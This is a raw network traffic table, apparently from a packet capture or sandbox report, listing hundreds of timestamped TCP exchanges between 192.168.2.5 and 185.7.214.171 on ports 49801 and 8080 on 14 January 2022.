Jan 14, 2022 21:05:11.196542025 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.196579933 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.196599960 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.196618080 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.196625948 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.196657896 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.196696997 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.196710110 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.196737051 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.196778059 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.196789026 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.196815014 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.196854115 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.196892977 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.196913004 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.196929932 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.196969032 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.196986914 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.197006941 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.197020054 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.197046995 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.197196960 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.277937889 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.277987003 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278027058 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278048992 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.278064966 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278105974 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278142929 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278160095 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.278181076 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278203011 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.278220892 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278261900 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278302908 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278318882 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.278331041 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.278340101 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278353930 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.278382063 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278420925 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278459072 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278476954 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.278498888 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278512955 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.278538942 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278578043 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278594017 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.278618097 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278656006 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278673887 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.278696060 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278734922 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278772116 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278791904 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.278811932 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278825998 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.278851032 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278889894 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278914928 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.278929949 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278968096 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.278986931 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.279006958 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.279045105 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.279074907 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.279082060 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.279120922 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.279139042 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.279160976 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.279201031 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.279215097 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.279241085 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.279279947 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.279294968 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.279319048 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.279366016 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.279390097 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.279402018 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.279441118 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.279457092 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.279479027 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.279561996 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.362967968 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363024950 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363064051 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363096952 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.363102913 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363133907 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363230944 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.363271952 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363313913 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363331079 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.363396883 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363437891 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363457918 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.363477945 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363517046 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363532066 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.363555908 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363598108 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363632917 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.363634109 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363675117 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363689899 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.363714933 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363753080 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363791943 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.363791943 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363831997 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363852024 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.363872051 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363914013 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363943100 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.363972902 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364005089 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364044905 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364082098 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364120007 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.364120960 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364136934 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.364161968 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364200115 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364216089 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.364238024 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364276886 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364311934 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.364314079 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364352942 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364361048 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.364393950 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364434958 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364476919 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364495993 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.364515066 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364532948 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.364553928 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364593983 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364613056 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.364631891 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364670038 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364686012 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.364708900 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364748001 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364762068 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.364788055 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364825010 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364841938 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.364865065 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364903927 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.364927053 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.364943027 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.365042925 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.446001053 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446058035 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446109056 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446134090 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.446155071 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446206093 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446208000 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.446255922 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446310043 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446352005 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446367979 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.446397066 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.446408987 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446450949 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446505070 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446512938 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.446547031 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446585894 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446599007 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.446624994 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446665049 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446716070 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.446717978 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446768999 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446809053 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446821928 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.446847916 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446891069 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446899891 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.446943045 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.446943045 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.446997881 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447042942 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447055101 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.447079897 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447119951 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447135925 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.447158098 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447197914 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447237968 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447253942 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.447276115 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447288990 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.447314978 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447354078 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447371960 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.447393894 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447546959 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447590113 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447608948 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.447640896 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.447643042 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447700024 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447751999 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447801113 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447805882 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.447856903 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447906971 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447937012 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.447948933 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.447954893 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.447990894 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.448035002 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.448050022 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.448091030 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.448132038 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.448151112 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.448170900 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.448211908 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.448256016 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.448272943 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.448426962 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.529736042 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.529797077 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.529839039 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.529911995 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.529966116 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.530000925 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.530352116 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.530399084 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.530437946 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.530477047 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.530497074 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.530534983 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.530560970 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.530602932 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.530642986 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.530658960 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.530684948 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.530946970 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.531034946 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531088114 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531146049 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.531147003 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531194925 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531234980 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531261921 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.531291008 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531342983 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531393051 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531411886 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.531434059 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531483889 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531493902 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.531537056 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.531538010 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531588078 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531634092 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531647921 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.531686068 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531733036 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531748056 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.531785965 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531831026 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531845093 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.531868935 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531913996 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.531923056 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.531971931 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.532027006 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.532030106 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.532079935 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.532119989 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.532134056 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.532161951 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.532203913 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.532217979 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.532242060 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.532282114 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.532311916 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.532321930 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.532360077 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.532375097 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.532401085 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.532439947 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.532465935 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.532480001 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.532521009 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.532546997 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.532557964 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.532598019 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.532629967 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.532638073 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.532769918 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.612333059 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.612380981 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.612425089 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.612464905 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.612474918 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.612519026 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.613012075 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.613055944 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.613096952 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.613133907 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.613137007 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.613204956 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.613245010 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.613260031 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.613610983 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.615099907 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.615164995 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.615220070 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.615236998 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.615277052 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.615334988 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.615339041 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.615422964 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.615461111 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.615480900 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.615500927 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.615540028 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.615560055 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.615580082 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.615618944 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.615638018 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.615658045 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.615698099 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.615739107 CET	8080	49801	185.7.214.171	192.168.2.5
Jan 14, 2022 21:05:11.615755081 CET	49801	8080	192.168.2.5	185.7.214.171
Jan 14, 2022 21:05:11.615789890 CET	8080	49801	185.7.214.171	192.168.2.5
